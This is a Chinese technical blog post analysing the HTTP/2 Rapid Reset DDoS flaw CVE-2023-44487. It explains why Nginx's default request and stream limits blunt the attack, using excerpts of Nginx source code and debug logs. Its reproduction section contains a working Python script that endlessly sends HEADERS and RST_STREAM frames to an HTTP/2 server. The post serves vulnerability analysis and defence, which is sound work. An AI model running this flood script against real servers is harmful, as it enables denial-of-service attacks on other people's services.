最近安全圈公布了一個利用 HTTP/2 快速重置機制進行 DDoS 攻擊的 0day 漏洞,CVE-2023-44487,鑒于 HTTP/2 協議已經在 Internet 上廣泛使用,所以該漏洞一經發布,在業界引起廣泛關注。
之前文章我們介紹過,雷池 WAF 使用 Nginx 作為其代理模式下的流量轉發引擎,Nginx 已經在其官網介紹了該漏洞對 Nginx 的影響。簡單來說,Nginx 作為一款久經考驗的Web 服務器/代理服務器,其本身就提供過了多種方式來緩解 DDoS 攻擊。具體到該漏洞,如果如下兩個配置采用 Nginx 的默認值,那么該攻擊對 Nginx 基本無影響:
keepalive_requests:保持默認配置 1000http2_max_concurrent_streams:保持默認配置 128
需要說明的是,Nginx 1.19.7 及其之后版本是通過keepalive_requests來限制一個 HTTP/2 TCP 連接上請求總數量,而 1.19.7 之前的版本則是通過http2_max_requests來實現該目的。當前雷池主線版本以上配置均保持默認值,所以該漏洞對雷池無影響。
這篇文章我們會深入 Nginx 的源碼,分析為什么 Nginx 的這兩個配置能夠緩解該漏洞對 Nginx 的攻擊。
1. 漏洞的原理
首先我們還是解釋一下該漏洞的詳細工作原理。
相比于 HTTP/1.1,HTTP/2 協議的一個顯著優化就是單連接上的多路復用:HTTP/2 允許在單個連接上同時發送多個請求,每個 HTTP 請求/響應使用不同的流。連接上的數據流被稱為數據幀,每個數據幀都包含一個固定的頭部,用來描述該數據幀的類型、所屬的流 ID 等。一些比較重要的數據幀類型包括:
SETTINGS幀:屬于控制消息,用于傳遞關于 http2 連接的配置參數,例如SETTINGS_MAX_CONCURRENT_STREAMS就定義了該連接上的最大并發流數目HEADERS幀:包含 HTTP headersDATA幀:包含 HTTP bodyRST_STREAM幀:直接取消一個流。如果客戶端不想再接收服務端的響應,可以直接發送RST_STREAM幀
HTTP/2 協議支持設置一個 TCP 連接上最大并發流數目,從而限制一個 tcp 連接上的in-flightHTTP 請求數目。客戶端可以通過發送RST_STREAM幀直接取消一個流,當服務端收到一個RST_STREAM幀時,會直接關閉該流,該流也不再屬于活躍流。
舉個例子,假設當前 TCP 連接設置的最大并發流數目為 1,下圖展示了 client 發送 req1 后,馬上發送 req2,此時 server 并不會真正處理第二個請求,而是直接響應RST_STREAM。只有在 server 處理完成 req1 后,client 才能接著發送下一個請求:

那如果 client 發送 req1 后,緊接著發送RST_STREAM,此時 client 可以不停向 server 發送請求而中間不用等待任何響應,而 server 則陷入了不停地接受請求-處理請求-直接結束請求的循環中:

雖然 server 收到RST_STREAM后會直接結束當前請求的處理,但是由于一般高性能服務器都是全異步模型,因此在優雅地結束當前請求處理前,可能已經消耗了部分系統資源來處理該請求(例如對于 proxy server,可能已經和 upstream 建立了連接)。惡意攻擊者就可以利用該漏洞,通過持續的HEADERS、RST_STREAM幀組合,消耗 Server 資源,進而影響 Server 正常請求的處理,造成 DDoS 攻擊。
2. 對 Nginx 的影響
接下來我們基于 Nginx 1.20.2 版本,分析為什么通過Nginx的http2_max_concurrent_streams和keepalive_requests配置,就能緩解該攻擊的影響呢?首先下圖展示了 Nginx 的 HTTP/2 的大致實現原理:

可以看到,Nginx 對 HTTP/2 流量處理的核心實現邏輯是:
- 對于 HTTP/2 的 TCP 連接,Nginx 會為每個底層的 TCP 連接創建一個
ngx_http_v2_connection_t結構 - 對 TCP 連接的上數據幀通過一個狀態機進行解析,將解析后的數據幀仍然轉換為標準的
ngx_http_request_t,進入通用的 HTTP 請求處理流程 - 網絡連接上的每個流會創建一個
ngx_connection_t(稱為fake connection),請求中對應的連接字段會被設置為該fake connection,用于滿足請求的 Nginx HTTP 框架處理 - 當需要給 HTTP/2 連接返回響應時,通過
ngx_http_v2_filter_module過濾模塊將請求頭轉換為 HEADERS 幀,同時設置該fake connection上的 send_chain 接口為ngx_http_v2_send_chain,用于將請求 body 轉換為 DATA 幀
當ngx_http_v2_create_stream()創建一個流時,其會增加該 TCP 連接上的一個請求計數:
static ngx_http_v2_stream_t *
ngx_http_v2_create_stream(ngx_http_v2_connection_t *h2c, ngx_uint_t push)
{
......
h2c->connection->requests++;
......
}
而每次收到 HEADERS 幀時,ngx_http_v2_state_headers都會判斷當前 tcp 連接上的請求數量是否已經達到最大值:
static u_char *
ngx_http_v2_state_headers(ngx_http_v2_connection_t *h2c, u_char *pos,
u_char *end)
{
......
if (clcf->keepalive_timeout == 0
// 判斷該 TCP 連接上的請求數量是否達到最大值
// 1.19.7 之前所比較的值是 h2scf->max_requests
|| h2c->connection->requests >= clcf->keepalive_requests
|| ngx_current_msec - h2c->connection->start_time
> clcf->keepalive_time)
{
h2c->goaway = 1;
if (ngx_http_v2_send_goaway(h2c, NGX_HTTP_V2_NO_ERROR) == NGX_ERROR) {
return ngx_http_v2_connection_error(h2c,
NGX_HTTP_V2_INTERNAL_ERROR);
}
}
......
}
由于 keepalive_requests 配置的默認值為 1000,所以即使利用HEADERS、RST_STREAM幀序列來構造快速重置攻擊,Nginx 也能夠限制一個 TCP 連接上的請求總數量為 1000 個。如果攻擊者想持續利用該漏洞,就不得不新建新的 TCP 連接,此時可以繼續結合標準的 L4 監控告警工具來進一步加強防護。
3. 嘗試復現
接下來我們嘗試復現該問題,確認一下上述邏輯。
首先準備一個如下 python http/2 client,其就是不斷發送 HEADERS 幀和 RST_STREAM 幀序列:
#!/usr/bin/env python3
import socket
import ssl
import certifi
import h2.connection
import h2.events
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
# generic socket and ssl configuration
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
# open a socket to the server and initiate TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
headers = [
(':method', 'GET'),
(':path', '/'),
(':authority', SERVER_NAME),
]
while True:
stream_id = c.get_next_available_stream_id()
print(stream_id)
c.send_headers(stream_id, headers, end_stream=True)
s.sendall(c.data_to_send())
c.reset_stream(stream_id)
s.sendall(c.data_to_send())
# tell the server we are closing the h2 connection
c.close_connection()
s.sendall(c.data_to_send())
# close the socket
s.close()
從 Nginx 的調試日志我們看到,在收到第 1000 個請求(sid 為 1999)時,Nginx 就發送了 GOAWAY 幀,之后即使該 TCP 連接上再收到 HTTP/2 HEADERS 幀和 RST_STREAM 幀,這些幀都被忽略:
// 接收到 HEADERS 幀 107347 2023/10/16 15:26:48 [debug] 10#0: *5 http2 HEADERS frame sid:1999 depends on 0 excl:0 weight:16 107348 2023/10/16 15:26:48 [debug] 10#0: *5 posix_memalign: 00007FCCB384E400:1024 @16 107349 2023/10/16 15:26:48 [debug] 10#0: *5 posix_memalign: 00007FCCB383D000:4096 @16 107350 2023/10/16 15:26:48 [debug] 10#0: *5 posix_memalign: 00007FCCB383B000:4096 @16 // 發送 GOAWAY 幀 107352 2023/10/16 15:26:48 [debug] 10#0: *5 http2 send GOAWAY frame: last sid 1999, error 0 ...... // 接收到 RST_STREAM 幀,當前請求直接結束 107426 2023/10/16 15:26:48 [debug] 10#0: *5 http2 RST_STREAM frame, sid:1999 status:0 107427 2023/10/16 15:26:48 [info] 10#0: *5 client terminated stream 1999 with status 0 while connecting to upstream, client: 127.0.0.1, server: _, r 107428 2023/10/16 15:26:48 [debug] 10#0: *5 http run request: "/?" 107429 2023/10/16 15:26:48 [debug] 10#0: *5 http upstream check client, write event:0, "/" 107430 2023/10/16 15:26:48 [debug] 10#0: *5 finalize http upstream request: 499 107431 2023/10/16 15:26:48 [debug] 10#0: *5 finalize http proxy request 107432 2023/10/16 15:26:48 [debug] 10#0: *5 free keepalive peer 107433 2023/10/16 15:26:48 [debug] 10#0: *5 free rr peer 1 0 107434 2023/10/16 15:26:48 [debug] 10#0: *5 close http upstream connection: 13 107435 2023/10/16 15:26:48 [debug] 10#0: *5 free: 00007FCCB384AA80, unused: 48 107436 2023/10/16 15:26:48 [debug] 10#0: *5 event timer del: 13: 1634765351 107437 2023/10/16 15:26:48 [debug] 10#0: *5 reusable connection: 0 107438 2023/10/16 15:26:48 [debug] 10#0: *5 http finalize request: 499, "/?" a:1, c:1 107439 2023/10/16 15:26:48 [debug] 10#0: *5 http terminate request count:1 107440 2023/10/16 15:26:48 [debug] 10#0: *5 http terminate cleanup count:1 blk:0 ...... // 后續再收到 HEADERS 幀和 RST_STREAM 幀,都會被忽略 107453 2023/10/16 15:26:48 [debug] 10#0: *5 http2 frame type:1 f:5 l:4 sid:2001 107454 2023/10/16 15:26:48 [debug] 10#0: *5 skipping http2 HEADERS frame 107455 2023/10/16 15:26:48 [debug] 10#0: *5 http2 frame skip 4 107456 2023/10/16 15:26:48 [debug] 10#0: *5 http2 frame complete pos:00007FCCB31846F7 end:00007FCCB3185744 107457 2023/10/16 15:26:48 [debug] 10#0: *5 http2 frame type:3 f:0 l:4 sid:2001 107458 2023/10/16 15:26:48 [debug] 10#0: *5 http2 RST_STREAM frame, sid:2001 status:0 107459 2023/10/16 15:26:48 [debug] 10#0: *5 unknown http2 stream
4. 小結
RST_STREAM 幀也是 HTTP/2 對 HTTP/1.1 的優化之一,它能夠讓客戶端在不關閉連接的情況下,直接取消一個流,讓服務器少做無用功。在收到RST_STREAM幀后,服務器會直接終止當前請求的處理。以上行為可以認為是協議層面上的設計,而實際實現上,高性能服務器都會采用某種異步處理模型,使得請求的處理、請求的結束并不是在一個上下文中,這就導致服務器在真正結束這個請求前已經消耗了部分資源來處理該請求。
惡意攻擊者就是通過持續的HEADERS、RST_STREAM幀序列,繞過服務器最大并發流數目限制,讓實現不當的服務器無限制地消耗資源來處理那些在協議層面上本不需要處理的請求。而 Nginx 的keepalive_requests默認配置能夠限制攻擊者在一個 TCP 連接上發送的請求總數量為 1000,使得該漏洞對 Nginx 基本無影響。
Nginx 作為一款廣泛使用的工業級 Web 服務器/代理服務器,本身就在防護 DDoS 方面提供了大量配置。輪子雖好,會用也難。Nginx 雖然功能強大,但其學習、開發、維護門檻較高。本文就以分析該漏洞為契機,向 Nginx 愛好者介紹一些 HTTP/2 基礎知識以及 Nginx 的 HTTP/2 的大致實現。
RacentYY
007bug
安全俠
Anna艷娜
X0_0X
安全俠
007bug
LemonSec
FreeBuf
Anna艷娜
Andrew